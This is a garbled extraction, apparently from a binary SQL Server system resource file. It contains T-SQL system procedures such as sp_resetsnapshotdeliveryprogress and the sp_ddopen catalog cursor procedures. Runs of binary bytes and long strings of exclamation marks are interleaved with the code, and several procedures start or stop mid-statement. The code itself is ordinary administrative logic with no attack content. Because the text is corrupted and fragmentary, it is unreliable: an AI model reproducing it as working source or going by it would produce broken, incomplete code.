                exec @retcode = sys.sp_droprolemember @rolename, @username
                if @@error <> 0 OR @retcode <> 0
                    return 1
            end
        end
    end     
0n D8:hf~"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!S`<x'H0A &8create function sys.fn_remote_primary_keys(
	@server		sysname,
	@catalog	sysname = NULL,
	@schema		sysname = NULL,
	@tbl_name	sysname = NULL)
returns table
as
return select * from OpenRowset(SYSREMOTE_PRIMARY_KEYS, @server, @catalog, @schema, @tbl_name)
0 D8P,hz20M@ 8--
-- Name: sp_resetsnapshotdeliveryprogress
--
-- Description: This procedure removes all rows (if @drop_table = 'false')
--              in the MSsnapshotdeliveryprogress table (if it exists). This 
--              will effectively wipes out all memory of any previous 
--              progress that any snapshot delivery processes had made to
--              the subscriber database.
--
-- Notes: 1) This procedure should be called at the subscriber database.
--        2) This procedure will try to acquire the 
--           'snapshot_delivery_in_progress_<dbname>' application lock in
--           exclusive mode prior to truncating (or drop) 
--           the MSsnapshotdeliveryprogress table. It will raise an error if 
--           it cannot acquire the lock in 5 seconds and the specified 
--           @verbose_level >= 1.
--
-- Parameter: @verbose_level int (optional, default 1)
--            @drop_table nvarchar(5) (optional, default N'false')
--                - specifies whether to drop the progress table or just 
--                  truncate the table
--
-- Returns: 0 - succeeded
--          1 - failed
--
-- Security: Execute permission of this procedure is granted to public;
--           procedural security check will be performed to make sure
--           that the caller is either a db_owner of the current database
--           or a sysadmin. 
--
create procedure sys.sp_resetsnapshotdeliveryprogress
    @verbose_level int = 1,
    @drop_table nvarchar(5) = N'false'
as
begin
    set nocount on
    declare @retcode int
    declare @lock_acquired int
    declare @lock_resource nvarchar(255)
    declare @cursor_allocated bit
    declare @cursor_opened bit
    declare @pubidprefix nvarchar(100)    
    declare @pubid uniqueidentifier

    select @retcode = 0
    select @lock_acquired = 0
    select @lock_resource = N'snapshot_delivery_in_progress_' + 
                            db_name() collate database_default  
    select @cursor_allocated = 0
    select @cursor_opened = 0
    select @pubidprefix = N'<MergePubId>:'

    exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @retcode <> 0 or @@error <> 0
    begin
        select @retcode = 1
        goto Failure
    end

    -- Parameter validation
    select @drop_table = lower(@drop_table collate SQL_Latin1_General_CP1_CS_AS)
    if @drop_table not in (N'true', N'false')
    begin
        raiserror (14148, 16,-1, '@drop_table')
        select @retcode = 1
        goto Failure
    end

    -- Wiping out the content of the MSsnapshotdeliveryprogress table
    -- can disrupt snapshots that are being applied to this subscription
    -- database. Try to acquire the snapshot-delivery-in-progress application 
    -- lock in exclusive mode prior to wiping out the table. Note that the
    -- the distribution/merge agent will acquire the same application lock in 
    -- shared mode while a snapshot is being applied. Don't try to wait
    -- for the lock for too long as other snapshot delivery processes may be
    -- blocked by our waiting. In effect, we are saying that it is OK to 
    -- starve the process that is trying to truncate the progress table.    
    
    exec @retcode = sys.sp_getapplock @Resource = @lock_resource,
                                             @LockMode = N'Exclusive',
                                             @LockOwner = N'Session',
                                             @LockTimeout = 5000, -- 5 seconds
                                             @DbPrincipal = N'db_owner'

    if @@error <> 0
    begin
        select @retcode = 1
        goto Failure
    end

    if @retcode < 0
    begin
        if @retcode = -1 and @verbose_level >= 1
        begin
            raiserror(21514,16,-1)
            select @retcode = 1
        end
        else
        begin  
            select @retcode = 0
        end
        goto Failure
    end

    select @retcode = 0, @lock_acquired = 1

    if object_id('dbo.MSsnapshotdeliveryprogress') is not null
    begin
        -- Eliminating merge snapshot progress requires additional cleanup in
        -- the merge meta-data tables so do it separately
        declare hpubid cursor local fast_forward for 
            select convert(uniqueidentifier, right(progress_token, len(progress_token) - len(@pubidprefix)))
              from dbo.MSsnapshotdeliveryprogress
             where left(progress_token, len(@pubidprefix)) = @pubidprefix

        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
        select @cursor_allocated = 1    

        open hpubid
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
        select @cursor_opened = 1    
        
        fetch hpubid into @pubid
        while (@@fetch_status <> -1)
        begin

            exec @retcode = sys.sp_MSpurgepartialmergesnapshot
                    @pubid = @pubid
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
            fetch hpubid into @pubid
        end

        close hpubid 
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
        select @cursor_opened = 0
   
        deallocate hpubid
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
        select @cursor_allocated = 0

        if @drop_table = N'false'
        begin
            truncate table dbo.MSsnapshotdeliveryprogress
            if @@error <> 0
            begin
                select @retcode = 1
                goto Failure
            end
        end
        else
        begin
            drop table dbo.MSsnapshotdeliveryprogress 
            if @@error <> 0
            begin
                select @retcode = 1
                goto Failure
            end
        end 
    end
    if @retcode <> 0 or @@error <> 0
    begin
        select @retcode = 1
        goto Failure
    end

Failure:
    if @cursor_opened = 1
    begin
        close hpubid
    end
    
    if @cursor_allocated = 1
    begin
        deallocate hpubid
    end

    if @lock_acquired = 1
    begin
        exec @retcode = sys.sp_releaseapplock @Resource = @lock_resource, 
                                                     @LockOwner = N'Session',
                                                     @DbPrincipal = N'db_owner'
        if @@error <> 0 or @retcode < 0
        begin
           select @retcode = 1
        end
    end
    return @retcode    
end
GUID,
        DESCRIPTION     = s_tr.DESCRIPTION,
        TABLE_PROPID    = s_tr.TABLE_PROPID,
        DATE_CREATED    = s_tr.DATE_CREATED,
        DATE_MODIFIED   = s_tr.DATE_MODIFIED
    from
        sys.spt_tables_view s_tr
    where
        (@table_schema is null or schema_id(@table_schema) = s_tr.schema_id) and
        (@table_type is null or @table_type = s_tr.TABLE_TYPE)
    order by 4, 2, 3
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!A'`#<ԫ0@ 8
create procedure sys.sp_ddopen;1
(
    @handle         int output,
    @procname       sysname,
    @scrollopt      int output,
    @ccopt          int output,
    @rows           int output,
    @p1             nvarchar(774) = null,
    @p2             nvarchar(774) = null,
    @p3             nvarchar(774) = null,
    @p4             nvarchar(774) = null,
    @p5             nvarchar(774) = null,
    @p6             nvarchar(774) = null,
    @p7             int = null,
    @NameScope      int = 0,
    @ODBCVer        int = 2,
    @fUsePattern    bit = 1 -- To allow users to explicitly disable all pattern matching.
)
as
    set nocount on
    declare @ret int

    --
    -- Yukon clients are always going to send [sys].sp_name
    --
    if @procname = 'sp_column_privileges' or
       @procname = '[sys].sp_column_privileges'
    begin
        exec @ret = sys.sp_ddopen;2 @handle output,
                            @scrollopt output,
                            @ccopt output,
                            @rows output,
                            @p1,
                            @p2,
                            @p3,
                            @p4
    end
    else if @procname = '[sys].sp_columns_100' or @procname = '[sys].sp_columns_90' or @procname = '[sys].sp_columns' or
            @procname = '[sys].sp_columns_ex_100' or @procname = '[sys].sp_columns_ex_90' or @procname = '[sys].sp_columns_ex' or
            @procname = 'sp_columns_90' or @procname = 'sp_columns' or 
            @procname = 'sp_columns_ex_90' or @procname = 'sp_columns_ex' or
            @procname = '[sys].sp_table_type_columns_100' or
            @procname = 'sp_table_type_columns_100'
    begin
        exec @ret = sys.sp_ddopen;3 @handle output,
                            @procname,
                            @scrollopt output,
                            @ccopt output,
                            @rows output,
                            @p1,
                            @p2,
                            @p3,
                            @p4,
                            @p5,
                            @NameScope,
                            @ODBCVer,
                            @fUsePattern
    end
    else if @procname = '[sys].sp_datatype_info_100' or @procname = '[sys].sp_datatype_info_90' or @procname = '[sys].sp_datatype_info' or
            @procname = 'sp_datatype_info_90' or @procname = 'sp_datatype_info'
    begin
        exec @ret = sys.sp_ddopen;4 @handle output,
                            @procname,
                            @scrollopt output,
                            @ccopt output,
                            @rows output,
                            @p7,
                            @ODBCVer
    end
    else if @procname = 'sp_fkeys' or
            @procname = '[sys].sp_fkeys'
    begin
        exec @ret = sys.sp_ddopen;5 @handle output,
                            @scrollopt output,
                            @ccopt output,
                            @rows output,
                            @p1,
                            @p2,
                            @p3,
                            @p4,
                            @p5,
                            @p6
    end
    else if @procname = 'sp_pkeys' or
            @procname = '[sys].sp_pkeys'
    begin
        exec @ret = sys.sp_ddopen;6 @handle output,
                            @scrollopt output,
                            @ccopt output,
                            @rows output,
                            @p1,
                            @p2,
                            @p3
    end
    else if @procname = '[sys].sp_special_columns_100' or @procname = '[sys].sp_special_columns_90' or @procname = '[sys].sp_special_columns' or
            @procname = 'sp_special_columns_90' or @procname = 'sp_special_columns'
    begin
        exec @ret = sys.sp_ddopen;7 @handle output,
                            @procname,
                            @scrollopt output,
                            @ccopt output,
                            @rows output,
                            @p1,
                            @p2,
                            @p3,
                            @p4,
                            @p5,
                            @p6,
                            @ODBCVer
    end
    else if @procname = '[sys].sp_sproc_columns_100' or @procname = '[sys].sp_sproc_columns_90' or @procname = '[sys].sp_sproc_columns' or
            @procname = 'sp_sproc_columns_90' or @procname = 'sp_sproc_columns'
    begin
        exec @ret = sys.sp_ddopen;8 @handle output,
                            @procname,
                            @scrollopt output,
                            @ccopt output,
                            @rows output,
                            @p1,
                            @p2,
                            @p3,
                            @p4,
                            @ODBCVer,
                            @fUsePattern
    end
    else if @procname = '[sys].sp_statistics_100' or @procname = '[sys].sp_statistics' or
            @procname = 'sp_statistics'  
    begin
        exec @ret = sys.sp_ddopen;9 @handle output,
                            @scrollopt output,
                            @ccopt output,
                            @rows output,
                            @p1,
                            @p2,
                            @p3,
                            @p4,
                            @p5,
                            @p6
    end
    else if @procname = 'sp_stored_procedures' or
            @procname = '[sys].sp_stored_procedures'
    begin
        exec @ret = sys.sp_ddopen;10 @handle output,
                             @scrollopt output,
                             @ccopt output,
                             @rows output,
                             @p1,
                             @p2,
                             @p3,
                             @fUsePattern
    end
    else if @procname = 'sp_table_privileges' or
            @procname = '[sys].sp_table_privileges'
    begin
        exec @ret = sys.sp_ddopen;11 @handle output,
                             @scrollopt output,
                             @ccopt output,
                             @rows output,
                             @p1,
                             @p2,
                             @p3,
                             @fUsePattern
    end
    else if @procname = 'sp_tables' or @procname = 'sp_tables_ex' or
            @procname = '[sys].sp_tables' or @procname = '[sys].sp_tables_ex'
    begin
        exec @ret = sys.sp_ddopen;12 @handle output,
                            @procname,
                            @scrollopt output,
                            @ccopt output,
                            @rows output,
                            @p1,
                            @p2,
                            @p3,
                            @p4,
                            @p5,
                            @fUsePattern
    end
    else if @procname = 'sp_tableswc' or
            @procname = '[sys].sp_tableswc'
    begin
        exec @ret = sys.sp_ddopen;13 @handle output,
                             @procname,
                             @scrollopt output,
                             @ccopt output,
                             @rows output,
                             @p1,
                             @p2,
                             @p3,
                             @p4,
                             @fUsePattern
    end
    else
        print 'Unknown sys.sp_ddopen procedure'
    select @ret = isnull(@ret,0)
    return isnull(@ret,0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<[b:-}#0@ 8
create procedure sys.sp_ddopen;2
(
    @handle         int output,
    @scrollopt      int output,
    @ccopt          int output,
    @rows           int output,
    @p1             nvarchar(774),
    @p2             nvarchar(774),
    @p3             nvarchar(774),
    @p4             nvarchar(774)
)
as
    set nocount on
    declare @ret int

    create table #spcolpriv
    (
        TABLE_QUALIFIER sysname collate catalog_default null,
        TABLE_OWNER sysname collate catalog_default null,
        TABLE_NAME sysname collate catalog_default not null,
        COLUMN_NAME sysname collate catalog_default not null,
        GRANTOR sysname collate catalog_default null,
        GRANTEE sysname collate catalog_default not null,
        PRIVILEGE varchar(32) collate catalog_default not null,
        IS_GRANTABLE varchar(3) collate catalog_default null
    )

    insert into #spcolpriv exec sys.sp_column_privileges @p1,@p2,@p3,@p4

    exec @ret = sp_cursoropen @handle output,
        'select * from #spcolpriv',
        @scrollopt output, @ccopt output, @rows output

    drop table #spcolpriv
    return @ret
0@ D8OYh40@ ?8
create procedure sys.sp_ddopen;4
(
    @handle         int output,
    @procname       sysname,
    @scrollopt      int output,
    @ccopt          int output,
    @rows           int output,
    @p7             int,
    @ODBCVer        int
)
as
    set nocount on
    declare @ret int

    create table #spdatatypeinfo
    (
        TYPE_NAME           sysname  collate catalog_default not null,
        DATA_TYPE           smallint not null,
        PRECISION           int null,
        LITERAL_PREFIX      varchar(32) collate catalog_default null,
        LITERAL_SUFFIX      varchar(32)    collate catalog_default null,
        CREATE_PARAMS       varchar(32)    collate catalog_default null,
        NULLABLE            smallint   not null,
        CASE_SENSITIVE      smallint   not null,
        SEARCHABLE          smallint   not null,
        UNSIGNED_ATTRIBUTE  smallint   null,
        MONEY   smallint    not null,
        AUTO_INCREMENT      smallint    null,
        LOCAL_TYPE_NAME     sysname collate catalog_default null,
        MINIMUM_SCALE       smallint     null,
        MAXIMUM_SCALE       smallint   null,
        SQL_DATA_TYPE       smallint      not null,
        SQL_DATETIME_SUB    smallint   null,
        NUM_PREC_RADIX      int  null,
        INTERVAL_PRECISION  smallint    NULL,
        USERTYPE            smallint not null
    )

    if @procname = 'sp_datatype_info' or @procname = '[sys].sp_datatype_info'
    begin
        insert into #spdatatypeinfo exec sys.sp_datatype_info @p7,@ODBCVer
    end
    else if @procname = 'sp_datatype_info_90' or @procname = '[sys].sp_datatype_info_90'
    begin
        insert into #spdatatypeinfo exec sys.sp_datatype_info_90 @p7,@ODBCVer
    end
    else
    begin
        insert into #spdatatypeinfo exec sys.sp_datatype_info_100 @p7,@ODBCVer
    end

    exec @ret = sp_cursoropen @handle output,
        'select * from #spdatatypeinfo',
        @scrollopt output, @ccopt output, @rows output

    drop table #spdatatypeinfo
    return @ret
0@ 8
create procedure sys.sp_ddopen;5
(
    @handle         int output,
    @scrollopt      int output,
    @ccopt          int output,
    @rows           int output,
    @p1             nvarchar(774),
    @p2             nvarchar(774),
    @p3             nvarchar(774),
    @p4             nvarchar(774),
    @p5             nvarchar(774),
    @p6             nvarchar(774)
)
as
    set nocount on
    declare @ret int

    create table #spfkeys
    (
        PKTABLE_QUALIFIER sysname    collate catalog_default null,
        PKTABLE_OWNER sysname   collate catalog_default null,
        PKTABLE_NAME sysname  collate catalog_default not null,
        PKCOLUMN_NAME sysname  collate catalog_default not null,
        FKTABLE_QUALIFIER sysname   collate catalog_default null,
        FKTABLE_OWNER sysname   collate catalog_default null,
        FKTABLE_NAME sysname  collate catalog_default not null,
        FKCOLUMN_NAME sysname  collate catalog_default not null,
        KEY_SEQ smallint not null,
        UPDATE_RULE smallint null,
        DELETE_RULE smallint null,
        FK_NAME sysname collate catalog_default null,
        PK_NAME sysname collate catalog_default null,
        DEFERRABILITY smallint null
    )

    insert into #spfkeys exec sys.sp_fkeys @p1,@p2,@p3,@p4,@p5,@p6

    exec @ret = sp_cursoropen @handle output,
        'select * from #spfkeys',
        @scrollopt output, @ccopt output, @rows output
    drop table #spfkeys
    return @ret
0@ 8
create procedure sys.sp_ddopen;6
(
    @handle         int output,
    @scrollopt      int output,
    @ccopt          int output,
    @rows           int output,
    @p1             nvarchar(774),
    @p2             nvarchar(774),
    @p3             nvarchar(774)
)
as
    set nocount on
    declare @ret int

    create table #sppkeys
    (
        TABLE_QUALIFIER sysname   collate catalog_default null,
        TABLE_OWNER sysname   collate catalog_default null,
        TABLE_NAME sysname  collate catalog_default not null,
        COLUMN_NAME sysname  collate catalog_default not null,
        KEY_SEQ smallint not null,
        PK_NAME sysname collate catalog_default null
    )

    insert into #sppkeys exec sys.sp_pkeys @p1,@p2,@p3

    exec @ret = sp_cursoropen @handle output,
        'select * from #sppkeys',
        @scrollopt output, @ccopt output, @rows output
    drop table #sppkeys
    return @ret
0@ 8
create procedure sys.sp_ddopen;7
(
    @handle         int output,
    @procname       sysname,
    @scrollopt      int output,
    @ccopt          int output,
    @rows           int output,
    @p1             nvarchar(774),
    @p2             nvarchar(774),
    @p3             nvarchar(774),
    @p4             nvarchar(774),
    @p5             nvarchar(774),
    @p6             nvarchar(774),
    @ODBCVer        int
)
as
    set nocount on
    declare @ret int

    create table #spspeccol
    (
        SCOPE smallint null,
        COLUMN_NAME sysname collate catalog_default not null,
        DATA_TYPE smallint not null,
        TYPE_NAME sysname collate catalog_default not null,
        PRECISION int null,
        LENGTH int null,
        SCALE smallint null,
        PSEUDO_COLUMN smallint null
    )

    -- VSTS 85838: Using the correct stored procedure name here. The bug was introduced by CTS# 927686
    -- that was a result of a copy-paste mistake. I have verified that the original change was not intentional
    if @procname = 'sp_special_columns' or @procname = '[sys].sp_special_columns'
    begin
        insert into #spspeccol exec sys.sp_special_columns @p1,@p2,@p3,@p4,@p5,@p6,@ODBCVer
    end
    else if @procname = 'sp_special_columns_90' or @procname = '[sys].sp_special_columns_90'
    begin
        insert into #spspeccol exec sys.sp_special_columns_90 @p1,@p2,@p3,@p4,@p5,@p6,@ODBCVer
    end
    else
    if @procname = 'sp_special_columns_90' or @procname = '[sys].sp_special_columns_90'
    begin
        insert into #spspeccol exec sys.sp_special_columns_100 @p1,@p2,@p3,@p4,@p5,@p6,@ODBCVer
    end
    else
    begin
        insert into #spspeccol exec sys.sp_special_columns_100 @p1,@p2,@p3,@p4,@p5,@p6,@ODBCVer
    end

    exec @ret = sp_cursoropen @handle output,
        'select * from #spspeccol',
        @scrollopt output, @ccopt output, @rows output
    drop table #spspeccol
    return @ret
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!h
L`<F:%B0@ D8
create procedure sys.sp_ddopen;8
(
    @handle         int output,
    @procname       sysname,
    @scrollopt      int output,
    @ccopt          int output,
    @rows           int output,
    @p1             nvarchar(774),
    @p2             nvarchar(774),
    @p3             nvarchar(774),
    @p4             nvarchar(774),
    @ODBCVer        int,
    @fUsePattern    bit -- To allow users to explicitly disable all pattern matching.
)
as
    set nocount on
    declare @ret int

    if @procname = 'sp_sproc_columns' or @procname = '[sys].sp_sproc_columns'
    begin
        create table #spproccol
        (
            PROCEDURE_QUALIFIER sysname collate catalog_default null,
            PROCEDURE_OWNER sysname collate catalog_default null,
            PROCEDURE_NAME sysname collate catalog_default not null,
            COLUMN_NAME sysname collate catalog_default not null,
            COLUMN_TYPE smallint not null,
            DATA_TYPE smallint null,
            TYPE_NAME sysname collate catalog_default not null,
            PRECISION int null,
            LENGTH int null,
            SCALE smallint null,
            RADIX smallint null,
            NULLABLE smallint not null,
            REMARKS varchar(254) collate catalog_default null,
            COLUMN_DEF nvarchar(4000) collate catalog_default null,
            SQL_DATA_TYPE smallint null,
            SQL_DATETIME_SUB smallint null,
            CHAR_OCTET_LENGTH int null,
            ORDINAL_POSITION int not null,
            IS_NULLABLE varchar(254) collate catalog_default null,
            SS_DATA_TYPE tinyint null
        )

        insert into #spproccol exec sys.sp_sproc_columns @p1,@p2,@p3,@p4,@ODBCVer

        exec @ret = sp_cursoropen @handle output,
            'select * from #spproccol',
            @scrollopt output, @ccopt output, @rows output
        drop table #spproccol
    end
    else if @procname = 'sp_sproc_columns_90' or @procname = '[sys].sp_sproc_columns_90'
    begin
        create table #spproccol_90
        (
            PROCEDURE_QUALIFIER sysname collate catalog_default null,
            PROCEDURE_OWNER sysname collate catalog_default null,
            PROCEDURE_NAME sysname collate catalog_default not null,
            COLUMN_NAME sysname collate catalog_default not null,
            COLUMN_TYPE smallint not null,
            DATA_TYPE smallint null,
            TYPE_NAME sysname collate catalog_default not null,
            PRECISION int null,
            LENGTH int null,
            SCALE smallint null,
            RADIX smallint null,
            NULLABLE smallint not null,
            REMARKS varchar(254) collate catalog_default null,
            COLUMN_DEF nvarchar(4000) collate catalog_default null,
            SQL_DATA_TYPE smallint null,
            SQL_DATETIME_SUB smallint null,
            CHAR_OCTET_LENGTH int null,
            ORDINAL_POSITION int not null,
            IS_NULLABLE varchar(254) collate catalog_default null,
            SS_UDT_CATALOG_NAME sysname collate catalog_default null,
            SS_UDT_SCHEMA_NAME sysname collate catalog_default null,
            SS_UDT_ASSEMBLY_TYPE_NAME nvarchar(4000) collate catalog_default null,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME sysname collate catalog_default null,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME sysname collate catalog_default null,
            SS_XML_SCHEMACOLLECTION_NAME sysname collate catalog_default null,
            SS_DATA_TYPE tinyint null
        )

        insert into #spproccol_90 exec sys.sp_sproc_columns_90 @p1,@p2,@p3,@p4,@ODBCVer,@fUsePattern

        exec @ret = sp_cursoropen @handle output,
            'select * from #spproccol_90',
            @scrollopt output, @ccopt output, @rows output
        drop table #spproccol_90
    end
    else
    begin
        create table #spproccol_100
        (
            PROCEDURE_QUALIFIER sysname collate catalog_default null,
            PROCEDURE_OWNER sysname collate catalog_default null,
            PROCEDURE_NAME sysname collate catalog_default not null,
            COLUMN_NAME sysname collate catalog_default not null,
            COLUMN_TYPE smallint not null,
            DATA_TYPE smallint null,
            TYPE_NAME sysname collate catalog_default not null,
            PRECISION int null,
            LENGTH int null,
            SCALE smallint null,
            RADIX smallint null,
            NULLABLE smallint not null,
            REMARKS varchar(254) collate catalog_default null,
            COLUMN_DEF nvarchar(4000) collate catalog_default null,
            SQL_DATA_TYPE smallint null,
            SQL_DATETIME_SUB smallint null,
            CHAR_OCTET_LENGTH int null,
            ORDINAL_POSITION int not null,
            IS_NULLABLE varchar(254) collate catalog_default null,
            SS_TYPE_CATALOG_NAME sysname collate catalog_default null,
            SS_TYPE_SCHEMA_NAME sysname collate catalog_default null,
            SS_UDT_CATALOG_NAME sysname collate catalog_default null,
            SS_UDT_SCHEMA_NAME sysname collate catalog_default null,
            SS_UDT_ASSEMBLY_TYPE_NAME nvarchar(4000) collate catalog_default null,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME sysname collate catalog_default null,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME sysname collate catalog_default null,
            SS_XML_SCHEMACOLLECTION_NAME sysname collate catalog_default null,
            SS_DATA_TYPE tinyint null
        )

        insert into #spproccol_100 exec sys.sp_sproc_columns_100 @p1,@p2,@p3,@p4,@ODBCVer,@fUsePattern

        exec @ret = sp_cursoropen @handle output,
            'select * from #spproccol_100',
            @scrollopt output, @ccopt output, @rows output
        drop table #spproccol_100
    end

    return @ret
0	@ 8
create procedure sys.sp_ddopen;9
(
    @handle         int output,
    @scrollopt      int output,
    @ccopt          int output,
    @rows           int output,
    @p1             nvarchar(774),
    @p2             nvarchar(774),
    @p3             nvarchar(774),
    @p4             nvarchar(774),
    @p5             nvarchar(774),
    @p6             nvarchar(774)
)
as
    set nocount on
    declare @ret int

    create table #spstatistics
    (
        TABLE_QUALIFIER sysname   collate catalog_default null,
        TABLE_OWNER sysname   collate catalog_default null,
        TABLE_NAME sysname  collate catalog_default not null,
        NON_UNIQUE smallint null,
        INDEX_QUALIFIER sysname collate catalog_default null,
        INDEX_NAME sysname collate catalog_default null,
        TYPE smallint not null,
        SEQ_IN_INDEX smallint null,
        COLUMN_NAME sysname collate catalog_default null,
        COLLATION char(1) collate catalog_default null,
        CARDINALITY int null,
        PAGES int null,
        FILTER_CONDITION varchar(128) collate catalog_default null
    )

    insert into #spstatistics exec sys.sp_statistics @p1,@p2,@p3,@p4,@p5,@p6

    exec @ret = sp_cursoropen @handle output,
        'select * from #spstatistics',
        @scrollopt output, @ccopt output, @rows output
    drop table #spstatistics
    return @ret
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<&4tm0
@ 8
create procedure sys.sp_ddopen;10
(
    @handle         int output,
    @scrollopt      int output,
    @ccopt          int output,
    @rows           int output,
    @p1             nvarchar(774),
    @p2             nvarchar(774),
    @p3             nvarchar(774),
    @fUsePattern    bit -- To allow users to explicitly disable all pattern matching.
)
as
    set nocount on
    declare @ret int

    create table #spprocedures
    (
        PROCEDURE_QUALIFIER sysname  collate catalog_default null,
        PROCEDURE_OWNER sysname  collate catalog_default null,
        PROCEDURE_NAME nvarchar(134) collate catalog_default not null, --134=sysname+';'+ltrim(str(c.number,5))
        NUM_INPUT_PARAMS int null,
        NUM_OUTPUT_PARAMS int null,
        NUM_RESULT_SETS int null,
        REMARKS varchar(254) collate catalog_default null,
        PROCEDURE_TYPE smallint null
    )

    insert into #spprocedures exec sys.sp_stored_procedures @p1,@p2,@p3,@fUsePattern

    exec @ret = sp_cursoropen @handle output,
        'select * from #spprocedures',
        @scrollopt output, @ccopt output, @rows output
    drop table #spprocedures
    return @ret
0@ 8
create procedure sys.sp_ddopen;11
(
    @handle         int output,
    @scrollopt      int output,
    @ccopt          int output,
    @rows           int output,
    @p1             nvarchar(774),
    @p2             nvarchar(774),
    @p3             nvarchar(774),
    @fUsePattern    bit -- To allow users to explicitly disable all pattern matching.
)
as
    set nocount on
    declare @ret int

    create table #sptabpriv
    (
        TABLE_QUALIFIER sysname collate catalog_default null,
        TABLE_OWNER sysname collate catalog_default null,
        TABLE_NAME sysname collate catalog_default not null,
        GRANTOR sysname collate catalog_default null,
        GRANTEE sysname collate catalog_default not null,
        PRIVILEGE varchar(32) collate catalog_default not null,
        IS_GRANTABLE varchar(3) collate catalog_default null
    )

    insert into #sptabpriv exec sys.sp_table_privileges @p1,@p2,@p3,@fUsePattern

